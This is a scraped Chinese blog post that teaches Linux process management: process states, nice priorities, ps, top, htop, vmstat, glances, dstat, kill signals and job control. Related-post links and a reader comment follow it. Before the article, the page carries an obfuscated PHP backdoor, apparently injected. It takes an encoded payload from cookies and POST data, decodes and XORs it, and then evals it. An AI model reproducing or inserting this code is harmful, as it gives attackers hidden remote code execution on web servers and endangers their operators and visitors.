$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux进程查看和管理及作业控制 | Linux运维部落

Linux进程查看和管理及作业控制

在linux系统中,内核的功用有:进程管理、文件系统、网络功能、内存管理、驱动程序、安全功能等,在这众多的模块中,进程管理是相对重要的一环,即使不像文件系统和网络功能那么复杂。在进程管理中,内核对进程的创建、切换、撤销和调度都有很详细的定义。 

1、进程类型

    守护进程在系统引导过程中启动的进程,跟终端无关的进程

    前台进程跟终端相关,通过终端启动的进程

            注意:也可把在前台启动的进程送往后台,以守护模式运行

2、进程状态

   在内存中运行的进程也有着各种各样的状态

        运行态R:running

        就绪态:ready

        睡眠态

            可中断S:interruptable

            不可中断D:uninterruptable

        停止态T:stopped,暂停于内存中,但不会被调度,除非手动启动

        僵死态Z:zombie,结束进程,父进程结束前,子进程不关闭

3、进程调度    

      调度策略:调度策略就是这样一组规则:决定什么时候以怎样的方式选择一个新进程运行。所以定义一个进程的优先级来满足这样一种策略。这个策略以0-139的优先级来表示。

           实时优先级:1-99

               无需调整,数字越大,优先级越高

           静态优先级:100-139

               可调整,数字越小,优先级越高

            优先级以Nice值调整

                Nice:-20—-19 ,存在于task_struct结构体中  

公式如下:        

    pri(new)=nice+pri(old)    

    调度算法:早起的Linux中,调度算法是根据进程的优先级选择“最佳”进程来执行,它的缺点是时间开销与“可运行进程数量”有关。某种调度算法一定满足一种函数关系,业界称为Big O        

        Big O:时间复杂度,用时和规模的关系。有:

        O(1), O(logn), O(n)线性, O(n^2)抛物线, O(2^n)

4、进程管理命令之pstree

    pstree – display a tree of processes

    显示进程数

5、进程管理命令之ps

   Linux系统各进程的相关信息均保存在/proc/PID目录下的各文件中;

   ps [OPTION]…

       选项:支持两种风格

           常用组合:aux

                   u: 以用户为中心组织进程状态信息显示

                   a: 与终端相关的进程;

                   x: 与终端无关的进程;

~]# ps aux

USER        PID %CPU %MEM    VSZ   RSS TTY      STAT TART   TIME COMMAND

USER 运行进程的用户
PID 进程ID
%CPU 占用CPU
%MEM 占用内存
VSZ 虚拟内存集
RSS 实际内存集
TTY 终端信息
STAT 进程状态
START 进程状态
TIME 运行时间
COMMAND 进程名称

           常用组合:-ef

           e: 显示所有进程

                   -f: 显示完整格式程序信息

           常用组合:-eFH

                   -F: 显示完整格式的进程信息

                   -H: 以进程层级格式显示进程相关信息

      

6、进程管理命令之pkill

    pkill [options] pattern    

         -u uid: effective user

         -U uid: real user

         -t terminal: 与指定终端相关的进程

         -l: 显示进程名

         -a: 显示完整格式的进程名

         -P pid: 显示其父进程为此处指定的进程的进程列表

7、进程管理命令之pidof

    根据进程名获取其PID

8、进程管理命令之top

wKiom1fPwpTyoAdnAAI5SPDB4JM569.jpg

Tasks

total 进程总数
running 运行进程数
sleeping 休眠态进程数
stopped 停止态进程数
zobie 僵死态进程数

%Cpu(s)

us(user space) 用户空间占用CPU百分比
sy(system) 内核空间占用CPU百分比   注:高负载时:us:sy=7:3
ni(nice) 修改nice值占用的CPU百分比
id(idle)  空闲的CPU百分比
wa(wait)  等待IO完成占用的CPU百分比
hi(hardware interrupt)  硬中断占用CPU百分比
si(software interrupt) 软中断占用CPU百分比
st(stole) 被偷走的CPU,比如VMware
buffer(缓冲) 元数据
cache(缓存) 数据
PID 进程号
USER 进程发起者
PR(priority) 优先级
NI(Nice) nice值
VIRT 虚拟内存集
RES 常驻内存集
SHR 共享内存集
S(status) 状态
%CPU CPU占用比
%MEM 内存占用比
TIME+ 运行时长
COMMAND 启动进程

对显示排序的方法:

P 占据的CPU百分比
M 占据内存百分比
T 累积占据CPU时长

首部信息显示:

l uptime信息
t tasks及cpu信息
#数字 cpu分别显示
m memory信息
s 修改刷新时间间隔
Esc 退出
k 终止指定进程
W 保存文件
q 退出命令

9、进程管理命令之htop   

wKiom1fP0BCjzJ8vAAUL53ILZdo725.jpg

比top更加高级的进程管理软件

f1帮助

f2切换CPU、mem、swap显示方式

f10退出

    常用选项:

       -d #: 指定延迟时间;

       -u UserName: 仅显示指定用户的进程;

       -s COLOMN: 以指定字段进行排序;

   命令:

       s: 跟踪选定进程的系统调用;

       l: 显示选定进程打开的文件列表;

       a:将选定的进程绑定至某指定CPU核心;

       t: 显示进程树

   注意:Fedora-EPEL源


10、进程管理命令之vmstat

wKiom1fP0tOQA_Q4AADefO6sBf8620.jpg

vmstat -s: 内存的汇总信息

procs 项目
r 等待运行的进程的个数,和核心数有关
b 处于不可中断睡眠态的进程个数(被阻塞的队列的长度)
swap 项目
si 从磁盘交换进内存的数据速率(kb/s)
so 从内存交换至磁盘的数据速率(kb/s)
io 项目
bi 从块设备读入数据到内存的速率(kb/s)    读
bo 从内存写入磁盘的速率(kb/s)            写
memory 项目
swad 交换内存的使用总量
free 空闲物理内存总量
buffer 用于buffer的内存总量
cache 用于cache的内存总量
system 项目
in: interrupts 中断速率
cs: context switch 进程切换速率
cpu 项目
us 用户空间占用的比例
sy 内核空间占用的比例
id 空闲空间占用的比例
wa 等待IO完成所消耗的时间比例
st 被虚拟化技术偷走的时间比例

11、进程管理命令之glances

glances [-bdehmnrsvyz1] [-B bind] [-c server] [-C conffile] [-p port] [-P password] [–password] [-t refresh] [-f file] [-o output]

内建命令:

  a  Sort processes automatically     l  Show/hide logs

  c  Sort processes by CPU%           b  Bytes or bits for network I/O

  m  Sort processes by MEM%           w  Delete warning logs

  p  Sort processes by name           x  Delete warning and critical logs

  i  Sort processes by I/O rate       1  Global CPU or per-CPU stats

  d  Show/hide disk I/O stats         h  Show/hide this help screen

  f  Show/hide file system stats      t  View network I/O as combination

  n  Show/hide network stats          u  View cumulative network I/O

  s  Show/hide sensors stats          q  Quit (Esc and Ctrl-C also work)

  y  Show/hide hddtemp stats

常用选项:

-b: 以Byte为单位显示网卡数据速率;

-d: 关闭磁盘I/O模块;

-f /path/to/somefile: 设定输入文件位置;

-o {HTML|CSV}:输出格式;

-m: 禁用mount模块

-n: 禁用网络模块

-t #: 延迟时间间隔

-1:每个CPU的相关数据单独显示;

C/S模式下运行glances命令:

服务模式:

glances -s -B IPADDR

IPADDR: 指明监听于本机哪个地址

客户端模式:

glances -c IPADDR

IPADDR:要连入的服务器端地址


12、进程管理命令之dstat

      dstat [-afv] [options..] [delay [count]]

-c: 显示cpu相关信息;

-C #,#,…,total

-d: 显示disk相关信息;

-D total,sda,sdb,…

-g:显示page相关统计数据;

-m: 显示memory相关统计数据;

-n: 显示network相关统计数据;

-p: 显示process相关统计数据;

-r: 显示io请求相关的统计数据;

-s: 显示swapped相关的统计数据;

–top-cpu:显示最占用CPU的进程;

–top-io: 显示最占用io的进程;

–top-mem: 显示最占用内存的进程;

–top-lantency: 显示延迟最大的进程;


13、进程管理命令之kill

kill命令:

向进程发送控制信号,以实现对进程管理

显示当前系统可用信号:

# kill -l

# man 7 signal

常用信号:

1) SIGHUP: 无须关闭进程而让其重读配置文件;

2) SIGINT: 中止正在运行的进程;相当于Ctrl+c;

9) SIGKILL: 杀死正在运行的进程;

15) SIGTERM:终止正在运行的进程;

18) SIGCONT:

19) SIGSTOP:

指定信号的方法:

(1) 信号的数字标识;1, 2, 9

(2) 信号完整名称;SIGHUP

(3) 信号的简写名称;HUP

向进程发信号:

kill [-SIGNAL] PID…

终止“名称”之下的所有进程:

killall [-SIGNAL] Program

14、Linux的作业控制

前台作业:通过终端启动,且启动后一直占据终端;

后台作业:可以通过终端启动,但启动后即转入后台运行(释放终端);

如何让作业运行于后台?

(1) 运行中的作业

Ctrl+z

(2) 尚未启动的作业

# COMMAND &

此类作业虽然被送往后台运行,但其依然与终端相关;如果希望送往后台后,剥离与终端的关系:

# nohup COMMAND &

查看所有作业:

# jobs

作业控制:

# fg [[%]JOB_NUM]:把指定的后台作业调回前台;

# bg [[%]JOB_NUM]:让送往后台的作业在后台继续运行;

# kill [%JOB_NUM]:终止指定的作业;

原创文章,作者:Net20_赤羽,如若转载,请注明出处:http://www.178linux.com/48528

(3)
上一篇 2016-11-14 08:27
下一篇 2016-11-14 08:28

相关推荐

  • -pxe

    一. BootStraping(OS install): 1. pxe:preboot excution environment , 即预启动执行环境,由intel开发,可实现无人值守自动安装操作系统 ( 依赖于dhcp (dhcpd )服务器与 ftp(lftp) 服务器) 2. pxe 自动化系统安装的流程: 1. client 从pxe网卡模式启动, …

    2016-11-18
  • sed 和 vim 的 用法

    处理文本的工具 三剑客之 sed sed是一种流编辑器,它一次处理一行内容。处理时,把 当前处理的行存储在临时缓冲区中,称为“模式空间”( pattern space),接着用sed命令处理缓冲区中的内容 ,处理完成后,把缓冲区的内容送往屏幕。接着处理下一 行,这样不断重复,直到文件末尾。文件内容并没有改变 ,除非你使用重定向存储输出。Sed主要用来自动编辑…

    Linux干货 2016-08-12
  • sed基本用法详解

    一、sed介绍:        sed是非交互式的编辑器,同时又是面向字符流的,一次处理一行文本。当前输入的行被缓存至一个被称为模式空间(pattern space)的内存空间中,与给定的模式进行比对,若不匹配,则将内容输出至屏幕,之后读取第二行;若匹配,则执行编辑命令,命令执行完成后,将模式空间中…

    Linux干货 2016-08-10
  • linux操作系统rpm软件包管理

    软件包管理 软件包运行环境: API:Application Programming Interface     使用标准:POSIX:     源代码运行步骤:预处理(如处理注释)—>编译成汇编代码—>链接其他库文件 ABI:applicatio…

    2016-08-22
  • 正则表达式

    grep:Global search REgular expression and Print out the line         文本搜索工具,根据用户指定的”模式“对目标文本逐行进行匹配检查;打印匹配到的行        模式:由正则表达式字符及文本字符所编写的过滤条件…

    Linux干货 2016-08-08
  • 马哥团队带你领略阿里风景

    马哥团队带你揭秘互联网巨头公司—阿里巴巴 继马哥团队腾讯一行之后,4月中旬我们又来到了坐落于杭州的另一个互联网巨头公司。 波涛万里长江水,带你入杭州。 真情伴你走,春色为你留。 西湖烟水茫茫,百顷风潭,十里荷香。 风景甚好,怎能不去杭州的阿里巴巴转转呢? 带着“淡妆”,走,跟着我们前行…… 马哥更是笑道:“我们这次来是和马云谈合作的!让我们培训出来的更多同学…

    学员作品 2015-04-29

评论列表(1条)

  • 娅娃爱
    娅娃爱 2017-11-09 14:19

    汤哥,这篇排版体验有点差啊,文字突然那么大,图也没了